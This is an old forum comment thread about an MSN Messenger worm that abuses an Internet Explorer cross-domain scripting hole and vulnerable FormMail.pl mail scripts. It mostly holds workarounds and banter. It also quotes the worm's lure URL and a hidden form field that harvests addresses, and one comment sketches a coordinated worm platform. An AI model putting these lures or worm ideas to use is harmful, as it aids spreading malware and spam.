Will send an anonymous e-mail if the installed FormMail.pl is vulnerable.

Workaround:
1. Remove your formmail.pl script until the author provides a fix.
or:
2. Hard code the recipient's email address in the formmail.pl program. Do not rely on the address submitted by the user.

Re:formmail.pl

[babbage]

That, or replace the script with the drop-in replacements being offered by NMS. The scripts they're developing, including one that does FormMail.pl's job, are professionally developed versions of Matt Wright's scripts but with much better security & robustness, while not requiring you to install any other libraries or do any setup more advanced than setting a few variables at the top of the script. Good stuff.

Re:formmail.pl

[babbage]

As I understand it, Matt Wright has indicated that he doesn't have much interest in updating his old software anymore, so "official" bugfixes are unlikely to be forthcoming. As another commenter noted, the NMS group is working on a suite of dropin replacements for each of the scripts that Matt wrote years ago, and among them is a very good replacement for FormMail.pl. These newer scripts are being developed with security and robustness in mind from the ground up.

Even in cases where it might be safer & more efficient to use libraries from CPAN, the NMS group has deliberately decided to not make use of these libraries, so that novice devlopers could make use of these more reliable scripts without having to perform any configuration more advanced than setting a few variables and writing a little bit of HTML (which, presumably, they'll be more comfortable with anyway).

Exploits like this are exactly why people should migrate the old Matt Wright code to NMS, which can be dropped in and up & running very quickly. It's easy, and it's much safer. It's the right thing to do.

Re:formmail.pl

[shogun]

I've had the same problem with a FormMail.pl installed around here. IT already had the referer check etc in it but that wasn't enough as you've stated above. What I ended up doing was putting in a recipient check, the script is only meant to be used by local (to the domain) people so they can get feedback from their webpages so I just made sure that the recipient was in the format of *@. Spammers would only be likely to able to use the script in the tiny percentage of cases where their spam victims' addressess happen to be in this domain.

Re:Well, that's one less effectual site for vector

[JDizzy]

Somebody mod this parent as "funny", or "underated" because the authore has a point, the slashdot effect should sufic to kill any of the infection sites, and with a high degree of impact.

It could be worse...

[Cowculator]

"Go To http://www.goatse.cx NoW !!!"

Imagine if your friends suddenly knew not only that you were gullible enough to fall for a virus like that, but that you had seen that site...

Re:It could be worse...

[Glorat]

*Almost* tempted to Troll mod this one just for the sake of virgin newbies in Slashdot. But I'll let ya off just this once =P

Re:It could be worse...

[BlowCat]

What are you taking about?
goatse.cx is down since February 2 or so :-(
Haven't you noticed?

Re:It could be worse...

[shogun]

Yeah I noticed, my squid acl rules that were blocking it were timing out in dns and making the proxy take ages to start. But never fear you can still get at goatse.cx with the Way Back Machine!

So THAT's where the formmail.pl requests

[SCHecklerX]

are from!!!

I know that formmail.pl has some vulnerabilities, and figured people were just probing me.

This would explain where it is coming from. Add this to the code red etc that my poor little web server on DSL has to deal with :(

Re:Gee...

[Cally]

Well this is Waaaay off-topic... but WTF ;)

Is this really a surprise? God forbid Microsoft ever tried to make medical equipment.

According to RISKS Digest, someone went along to watch a friend getting laser eye surgery & noticed (a) the technician was blindly hitting RETURN to clear pesky annoying error messages, and (b) the machine was running Win95. Oh, and this machine was taking the details of the subject's eye geometry, & controlling the laser that was about to shave a thing slice off the front of the eyeball to correct some minor astigmatism (IIRC; don't have the url to hand, anyone? )

Have any A/V Companies...

[lblack]

Have any A/V companies deployed products to protect against instant messaging vulnerabilities? I know that Bitdefender have a product that helps to increase your security when running such services, but I haven't heard of similar things from Norton/McAffee.

I always thought this was kinda silly, waiting for the horse to leave before closing the stable. Did anybody not view Instant Messenger traffic, especially once it got into a high level of file transfer interaction, as not being a platform for the deployment of viruses?

Still, this is a social engineering thing more than it is anything else. It's not even really a virus -- it's a piece of destructive code delivered via social engineering. It is not really self-propogating, though, in that it requires the server-side in order to be malicious, or do anything at all.

That seems to me to be stretching "virus" a bit. Maybe "viral meme"? I agree it does spread a bit like a virus, but it actually requires fetching external information.

-l

P.S. Bitdefender are beta'ing a Linux product, by the way. It's not Open, but the beta is a free (as in beer) download. Disclaimer: I'm a fan of that company. ;)

Re:Have any A/V Companies...

[AnotherBlackHat]

I like the idea of third party protection for windows apps, but not for networking - I want protection for the file system. Imagine something like Zone alarm that pops up a dialog box asking if it's ok to let $app [read/write] files in $directory [never|once|today|always]?

-- Our bits are better, they're gold plated.

Re:Have any A/V Companies...

[lblack]

Yes, but IM software is very common on home machines, and home machines with big fat 24/7 DSL/Cable can be used in DDOS against corporate networks.

So, you see, the issue isn't a corporate security package -- as you mention, the need for this is obviated by corporate policies. It's the need to have an easy-to-use method of protecting home users, so they aren't co-opted into doing nasty things to my webserver. ;)

-l

Sends mail too .. email address harvesting?

[Wizard of OS]

Look closely:

<input type="hidden" name="recipient" value=mmargae@wanadoo.nl" ID="Hidden5">

I think somebody forgot that HTML source can be viewed ...

The nasty part: every time somebody looks at this page, his MSN-email address is being posted to this mailform.pl script (the web equivalent of an open relay) and it is sent to this wanadoo.nl user.

Re:Sends mail too .. email address harvesting?

[Quizme2000]

I was wondering why that domain name was port scanning my servers.

Re:Sends mail too .. email address harvesting?

[ConsumedByTV]

I Get that all the time as well, mostly anonymous connections to my ftp server or to my webserver. What services of interest are you running in contrast with my ftp and web?

Oops

[Eric Damron]

I just copied and pasted part of this story into an outlook email and sent it to our staff warning them of the problem. The address to the masenko-media site came out as a URL. I wonder how many users will click it?

Why this is news

[jeff13]

People keep going on (posting here that is) as if this is some sort of sensationalization of Microsoft security issues. As if other media outlets jump on Microsoft like vultures. Well, wake up, they don't (imho). The 'straight' media tends to avoid bad business news, especially given the danger of being sued by the most politically powerful, media powerful, and just plain rich powerful, software company around. Hmmm, AOL/Time don't count right?

Just because it's the latest #@#k up from Microsoft doesn't deminish it's importance as news.

How many times have I shocked an Internet user (years of tech support, I'm so bitter!) by exploiting IExploder sillyness and effectively crack the lusers OS? They were none to pleased, I have to say. It's not like I can even code really, I'm a moron with programming. But if I can do it...

And it's better to find out about these things in the news, not the hard way!

Erlang Virus Propagation System

[Anonymous Coward]

"A fully coordinated worm, where the worms explicitly coordinate their attack on the network, is a theoretical possibility but has not been seen in practice due to the difficulty in coding and coordinating the worms."

Obviously the author has not heard of the interpreted, functional programming language Erlang. It can be best described as "The Borg" and has language level support for things like automatic resource discovery, live updates of software modules and distributed databases. There are binaries available for many architectures.

An attack platform written in this language has the potential to be utterly devastating. Imagine, all of the infected nodes know about all of the other nodes. You have a distributed database containing information on exploits and probes for various computer systems that can be updated on the fly as new exploits are discovered. Even the code for the platform itself can be updated while the system is running.

As I recall, there was a story on /. some time ago about the impossibility of removing viruses from a computer network without shutting the network down under certain conditions.

Why hasn't this happened yet? It surely isn't for lack of expertise. No need to worry though, all the legislation that's been passed regarding computer crime prevents this sort of thing, right?!

Month half over

[3ryon]

I guess they will need the whole month to 'focus on security'. Good thing they budgeted so much time.

For all you Primus fans

[scorcherer]

"It's alright to fear the worm."

(Prof. Nutbutter / Tales from the Punchbowl)

Re:Well, that's one less effectual site for vector

[xintegerx]

Isn't it possible that the virus itself flooded the website with many hits to it coming from just instant messenger? :)

Plus, since the topic author knew the exact URL from somewhere, it must have already been fairly widespread before it got here :)

NOT a "Warhol Worm", just topologically aware

[nweaver]

Warhol style worms are purely active worms, which require no human intervention to spread. This worm sounds like an intervention-required worm/trojan (like a mailworm) but which spreads through MSN instead of email.

It would be a warhol-like worm if the message sent automatically opened the web page, making it a purely autonomous worm. I sorta wish it was, because that would be an interesting validation of the speed of topologically aware active worms. Then again, I don't use MSN Messenger.

For those who are interested, a more formal analysis is available Here, a paper I submitted to Usenix Security on the subject.

Re:NOT a "Warhol Worm", just topologically aware

[Shiny Metal S.]

It would be a warhol-like worm if the message sent automatically opened the web page, making it a purely autonomous worm. I sorta wish it was, because that would be an interesting validation of the speed of topologically aware active worms. Then again, I don't use MSN Messenger.

What if that Javascript code was sent in HTML email? Would it be run as well? Outlook uses IE to render HTML, right?

I can't check it by myself (I don't use Microsoft software), but I'm curious.

I hope that the virus writers...

[Rune69]

...are aware of the seriousness of their acts.
Don't they know that virus making will soon be considered a hate crime?

On another note, I wonder how many victims of the Warhol virus also caught this recent virus.

In related news

[Metrollica]

The "Don't Fucking Open Me!" virus is still spreading havoc.

E-mail inboxes were flooded with messages this morning as a new virus quickly spread around the world. Dubbed "Don't Fucking Open Me" by anti-virus researchers, the infected e-mail follows a similar course to other viruses and replicates by sending itself out to everyone in the infected computer's Outlook and Outlook Express address book. The virus also contains two different payloads: one version formats the hard drive and displays the message "This is for your own good"; the other payload creates random Power Point presentations in the "My Documents" folder.

Savvy users can spot the virus by its subject which is "Don't Fucking Open Me" or by the attachment which is entitled "Don't_Fucking_Open_Me.exe".

"This virus tricks the user with an old psychological tactic called reverse psychology. Apparently the curiosity created by the message has been too much for thousands of users," said anti-virus researcher Bob Atibop. According to Atibop, this isn't the first time reverse psychology has been used. In 1998, the "Don't Pee on Your Keyboard" worm caused a flood of damage.

Researchers have seen large infection among AOL users and middle managers, the two largest concentrations of naive and inept computer users.

Claudia Hawkins who was infected by the virus said, "My son told me not to open attachments, but.... I mean my MOM sent it! What if she was hurt?!?"

Another infected user too embarrassed to reveal his name said, "I thought that there was no way that this could be a virus. What kind of stupid idiot virus writer would put a dumb title on it like that? No one would ever open something that says not to open it. The virus would never spread defeating the whole purpose of it."

Experts advise extreme caution when opening messages entitled "Don't Fucking Open Me" or "Click Here for Cash and Virus Infection".

A bunch of "old" features.

[Bender Unit 22]

Well, there has been a couple of well known "features" for some time. All you needed was to insert some code on your site and you could see who visited you on the site and who their "Friends" were. on all sites this was only their Messenger name, including the ones on your contact list.

Then there is some hardcoded urls into Messenger that allow certain sites obtain your email adr. and the emails adr. of the people in your contact list. thise sites include microsoft.com, hotmail.com.

Hmm thinking about whipping up an example on my website,, heh could be fun.

This got me thinking

[t_allardyce]

Before, i was convinced that Microsoft's obsession with closed source was an evil plan to allow them to hide malicious code in Windows so they could take over computers/internet/world. Now i have come to realise, that the real reason is because they are so incompetent that they don't want anyone to see the crap, uncommented, un-nested, spaghetti code that they call software, for risk of other corporations laughing at them, like a lecturer laughs at the bottom-of-the-class student who submits their half-assed assignment code that looks like a 3-year old wrote it (i'm sure many 3 year olds could actually write decent code :) If anyone witnessed what was really in the operating system their business was relying on, they would rather have BBC BASIC (oh, wait, VB _is_ BASIC rofl :)

Now i have realised that Microsoft couldn't plant code in Windows to take over the world, because they can't code, and are too busy writing software that will try to stop your computer working if you change more than 5 bits of hardware.

People clicking on links...

[Macrobat]

True story:

I just visited my friend's brother to pick up a used telescope. His brother's system is down because he clicked on a link in an email that said something like "pictures of me naked."

When I told him that anything like that was obviously a worm or some kind of scam, he responded: "But it was from a girl who DOES send me pictures of herself naked!"

Didn't know what to say to that.

Re:People clicking on links...

[Radical Rad]

When I told him that anything like that was obviously a worm or some kind of scam, he responded: "But it was from a girl who DOES send me pictures of herself naked!"

The naked girl pictures are probably from a 46 year old fat, balding, gay man who is just trying to get your friends brother to send back pictures of himself!

Re:People clicking on links...

[roystgnr]

Didn't know what to say to that.

Well, duh. Two words:

"Prove it!"

Where is Windows Update?

[weave]

I went to Windows Update this morning looking to update my IE using that uber patch. Said no critical updates. I had to go to technet and download the patch from there.

Why the hell does it take Microsoft so long to get patches onto Windows Update, which most users use to get their updates (those that look)?

Like, when I heard about the SNMP problem yesterday, I went to rhn.redhat.com, found an update for snmp, did a select all for all my linux boxes i adminster at work, scheduled them to be updated, done. I got look for an SNMP update for my Windows servers, none found.

It's just annoying... Microsoft has billions for R&D, takes weeks to get a patch out on Windows update, yet some kid can write autorpm that does the same kinda thing for linux in his spare time...

Re:Where is Windows Update?

[WhiteKnight07]

The "Uber Patch" is available for download here.

The joys or irony...

[wrinkledshirt]

I hate Microsoft, but my favourite part isn't this story. My favourite part is the link directly under it.

< What is .NET? | Linus Merges ALSA Into 2.5.4 >

You gotcher answer, folks.

Re:Gee...

[Frater 219]

According to RISKS Digest, someone went along to watch a friend getting laser eye surgery & noticed (a) the technician was blindly hitting RETURN to clear pesky annoying error messages, and (b) the machine was running Win95. Oh, and this machine was taking the details of the subject's eye geometry, & controlling the laser that was about to shave a thing slice off the front of the eyeball to correct some minor astigmatism (IIRC; don't have the url to hand, anyone? )

A quick Google search for "risks digest eye surgery" yields this link. Pretty frightening stuff, and it does show how well many users have become trained to treat error conditions as part of the normal behavior of computer operating systems and applications.

Re:Well, that's one less effectual site for vector

[silicon_synapse]

Yes, but if it was an organized effort directed at the site for the express purpose of bringing it down, the guys at OSDN could be held liable for a DDoS.

Don't click on links in article description!

[ahde]

they're ActiveX viruses, and will do more than send MSN Messenges to your friends if you're using IE

Careful with your statistics

[Random Bystander]

Don't believe me? check out the IIS curve at Netcraft [netcraft.com] . What happened after Nimda and Code Red? IIS usage INCREASED.

Firstly, statistics, even the 'raw' ones provided by Netcraft, can be read with any spin you choose to apply (as you have done)

Secondly, you're not looking at sites that are active, just ones that have a webserver running. This includes about 2/3 of machines that aren't actually active servers. Check the figures yourself. 36.7 million polled, 13-ish million active. The more relevant graph is the second one provided, showing the count and growth of active servers, not just plain numbers of them.

Re:Gee...

[generic-man]

So according to the issue of RISKS Digest, this third-party program called "Ladarvision" kept on throwing very odd error messages internal to the program, and the tech was trained to hit RETURN. How is this Microsoft's fault?

Windows 95 is pretty stable if you use it as a single-tasking OS. I mean, there are still point-of-sale systems running DOS, and that provides just slightly less memory protection than Windows 95 does. Just don't blame the OS vendor for a shoddily-written third-party program.

Re:Know how to stop IE from launching MSN Msgr?

[mech9t8]

You can delete the references to the Messenger object in the registry. It leaves Messenger unaffected but disables the web object.

Remove the following registry keys:

HKEY_CLASSES_ROOT\CLSID\{F3A614DC-ABE0-11d2-A441 -0 0C04F795683}
HKEY_CLASSES_ROOT\CLSID\{FB7199AB-79BF-11d2-8D94 -0 000F875C541}
HKEY_CLASSES_ROOT\Messenger.MsgrObject

and there's another Messenger.* object, but I forget what it was... but if you get the CLSIDs that should cover it...

You can just rename them to backup_FB7199AB-79BF-11d2-8D94-0000F875C541 or whatever if you want to be cautious.

You'll need to remove them again if you upgrade or reinstall - it'll put the references back.

When it rains, it pours?

[Keith Russell]

It's 9:35 pm EST, and Windows Update seems to have fallen off the DNS. Interesting timing, that. Is it just my ISP? Microsoft forget to pay its bills, again? Or is something more sinister at work?

Maybe it's just me, but my inner conspiracy theorist is telling me that someone evil enough to start an IM worm using a patchable exploit could also be evil enough to cut off the first place people would go to look for that patch.

Duhhhh... Why not...

[Shuh]

Why not add a Javascript ticker-tape display to Slashdot so we can just watch the M$ virii/security-holes flash by like so many stock market reports?

cheap shot

[MaxwellsSilverHammer]

Was this before or after they investigated the code for security problems per the new order?

Javascript flame

[Sloppy]

I don't get it... why do people whine about this? Just disable Javascript. Everything worthwhile on the web will still work just fine; it'll just go faster and screw you less often. Javascript should be extinct by now: Everyone who uses it hates it, people who turn it off are happier (I have never seen those x10 pop-under ads that everyone talks about), and it doesn't do anything useful. It's all pain with no gain.

Web browsers shouldn't even include it anymore.

Re:Javascript flame

[kisrael]

Others have wondered if this is a troll...I think you may have a point. I think that you're wrong, but I think you have a point.

I make a lot of my own cgi scripts for personal use, and javascript helps *a lot*, from selecting multiple checkboxes at once, to a way to fake combo boxes where you can select from a set of values or enter a new one. And many, many sites depend on it...though I think many fewer legitimate sites would need the window.open() function if there had been a standard for sizing a window built into the A HREF tag.... (I hate those, 'cause I'm used to right clicking to open in new window, and they hardly ever code that right so that right clicking still works...)

Re:This is news?

[fader]

it isn't integrated into anything, even if it comes with the OS

Bzzt yourself. Messenger is integrated with at least Outlook, and I suspect IE 6. (IE can make API calls to Messenger, regardless.) And you have apparently never used XP, where it seemingly pervades the entire system. *shudders*

It's evolved

[LichP]

The version I got reads

URGENT - Go to http://users.skynet.be/dark.angel/cool.htm

I went, but Mozilla crashed on accessing the site so I wasn't affected. Then I got a clone message, and the evil purpose rapdily became clear. Anyone peaked at this to see if the code is essentially the same?

--
From Phil

Re:CAPITALS ARE GOOD

[amanb]

> I hate my COBOL! course

Is that the Yahoo! version of COBOL?

Re:This is news?

[fjordboy]

I won't do the stupid *bzzt* think..but I think you are misinformed. I have both Outlook 6 (freaking slow piece of carp) and IE 6, and I have NO MSN messanger or Microsoft Messanger or anything. I've never really used it. *shrug* I'm running Windows 98...so that might have to do with why it isn't integrated.

Sounds like Ladarvision

[Animats]

Ladarvision's FDA evaluation contains the following:

• Device failures:

  Six eyes experienced interruptions during the surgical procedure due to laser system failures: a faulty on/off switch (1); internal timing error (3), double pressing of footswitch by operator (1); and failure to track due to simultaneous activation of tracking and printing (1).

Note that most of the reported problems are timing related. Medical gear should be using a true real time OS, like QNX, with maximum latency guarantees.

Re:Well, that's one less effectual site for vector

[cygnus]

the slashdot effect should sufic to kill any of the infection sites, and with a high degree of impact.

little did the visitors of Slashdot.org know, they were unwitting participants in the world's first human-powered smurf attack experiment.

formmail.pl?

[autopr0n]

What does a server side Perl thing have to do with an MSN bug? Is this thing attacking vulnerable web servers to propagate it's malicious Jscript?

Intresting.

Re:Use Trillian... Well, maybe.

[Balinares]

Just one (well, two) minor caveats, if you don't mind. :)
To start with, Trillian doesn't support the Jabber protocol. That is annoying (Jabber rocks, dontcha know).
Second problem, Trillian knows nothing of \n carriage returns. It means that, if a friend using, say, licq or some Jabber implementation on Linux/*BSD/whatever sends you a message, the carriage returns won't be displayed properly. That's pretty annoying -- such messages will generally become very hard to read. I notified the dev team about this bug, but they never deemed necessary to answer my email. Oh well, I guess I'll stick with Jabber. :)

How ironic that...

[Guppy06]

... this happens right smack dab in the middle of Microsoft's self-proclaimed Focus on Security Month.

Re:Use Trillian

[Yottabyte84]

If there's any reason to use any other IM client, I don't know what it is...

Here are 2.

1.) If you don't use Windows

2.) You use some of the special features that the official client has but trillian does not.

What? No Porn popups?

[Robber Baron]

What a sucky virus! They shoulda had it popping up porn sites in separate windows...just what the unsuspecting doofus needs when the boss walks in...

net?

[ColaMan]

Hmm.

Is that net or (dot)NET?

Bold prediction : same (dot)NET slashdot story , 2 years from now.

Can anyone name

[The Panther!]

...a 'popular' Microsoft product that hasn't had virus capability? Word, Excel, Outlook, Outlook Express, countless Windows 3.1 thru 2000, hell, XP is a honey pot OS just by connecting it to a network. My point being, why is this news? Anything you run with M$ in the About box will at some point destroy one or more aspects of your computer, be it the hard drive, cpu, network connection, etc. Today it's the IM. Tomorrow it'll be the icon editor...

Don't You Be Dissin' BBC Basic!

[phliar]

they would rather have BBC BASIC (oh, wait, VB _is_ BASIC rofl :)

Hey waitaminnit!!! I got my hands on an Acorn BBC Micro, back in '83 or '84... yes, it was called Basic but it was Basic in name only. Control structures, strings, and a really nice way to put in asm code in-line. The 6502 -- ah, now there was a nice architecture. Beaten only by the PDP-11. I wish I'd made backups of my code though....

Saw the TV show too. Cool.

Explanation of code

[tomgilder]

Hi there, I was the one along with Thor Larholm who originally demoed this exploit on my website.

We did so as to attempt to put pressure on Microsoft to patch several major holes in Internet Explorer - the one we exploited (document.open) took MS exactly fifty four days to make a patch from, from it being publicly disclosed.

We felt this was pathetic, and the public had a right to know what Microsoft's bad programming could cause - none of the previous examples of the document.open hole had shown to what extent this could be exploited.

This new worm, although harmless, is a direct rip of the example code from our bulletin, modified to also e-mail the contact list and MSN sing-in name to an e-mail address.

As long as Microsoft continues to support the flawed security model of ActiveX, integrating products together this closely, such things will continue to happen.

The next MSN worm might be far worse.

Please, please all Internet Explorer users patch your systems now. If you are using IE5.0 or lower, MS haven't produced a patch for you - they clearly care more about their product lifecycles than customer's security. I strongly suggest upgrading to 5.5 or 6, failing that disable active scripting.

I'm also interested as to why Slashdot felt the need to approve this article about a worm, as several people submitted stories about my original MSN exploit example. Oh well, guess you need things in the wild before telling people?

Re:Explanation of code

[thorlarholm]

As Tom pointed out, it is amusing that this is posted now as a "worm article" instead of as an "example exploit" when we originally posted our bulletin on February 8th.

What is even more amusing is how the media, including Slashdot, seem to have misunderstood the bulletin entirely. This is not a flaw in MSN Messenger, this is a flaw in Internet Explorer - called crossdomain scripting.
Using MSN Messenger for our example was - just that, an example. We could as easily have used a .NET application and thus miscredited that Microsoft product instead.

Another amusing aspect is how people tie this together with the "privacy disclosure" vulnerability found last week in MSN Messenger. These are 2 completely different things. The "privacy disclosure" gives a malicious programmer the names (and possibly email adresses) of the user and his friends.
This vulnerability allows you to hijack the users MSN Messenger - the application itself ! This is why you can send messages through it, as you can do anything with the application that a normal enduser would be able to - including, but not limited to, sending messages, emails and files and co-starting appplications on the users machine (yes, this allows you to remote control a users entire Windows machine !).

Now, that should have cleared up a few things.

With regards to the latest "superpatch", Microsoft claims that it "eliminates all known security vulnerabilities affecting Internet Explorer 5.01, 5.5 and 6.0.".

As you can see on our vulnerability highlight page, this is not true.

It is still very much possible for a malicious programmer to read a users local files and execute arbitrary commands - even when you are fully patched !

Only the paranoid will survive...

[jonr]

Well, I tried the Register demostration page, and I only got this:
"Sorry, there was an error in the script.
This may well be due to your IE security settings - try resetting them to default and trying again.
..."
IE6 is much better when it comes to security and privacy than IE5.

But on the contrary.. messenger is full of flaws

[IamTheRealMike]

This happens all the time, there are in fact several different MSN Messenger virii, not all of which use IE. Some of them just send files to you, such as the infamous ;) Choke virus.

What pisses me off about this is that Microsoft is the one who makes all the money from this, yet I am the one who has to clean up my friends computers every third Tuesday for them, because MSN allows any program (or indeed website, it's used on the msn portal pages) to access it's internal objects via COM. Not that there is anything wrong with this idea, but due to their lax coding, it's people like me who get to pick up the pieces.

As I access MSN via Jabber I can't be infected with these viruses anyway, but the fact that MSN isn't even a particularly great chat program especially rankles.

IExplore bugs.

[13Echo]

I don't get all of you pro-Internet Explorer folks. Is it not blatantly obvious that this shit is put into the browser intentionally? You don't see Opera or Mozilla getting patched for these types for things...

And yet... People stil use IExploder cause it is convenient.

Coincidence?

[Lxy]

Is anyone else finding a coincidence here that this follows a story entitled "what is .NET?"? I think we now know :-)

Re:this didn't infect me.. because i got rid of it

[gpinzone]

Yep, I did this, too. However, I noticed that when I run CNET's CatchUp scan, it picks up a MSN Messenger DLL still on my hard drive. I'm kind of afraid to delete it. I wonder if anything else is using it or if there still exists some kind of security risk with it being there?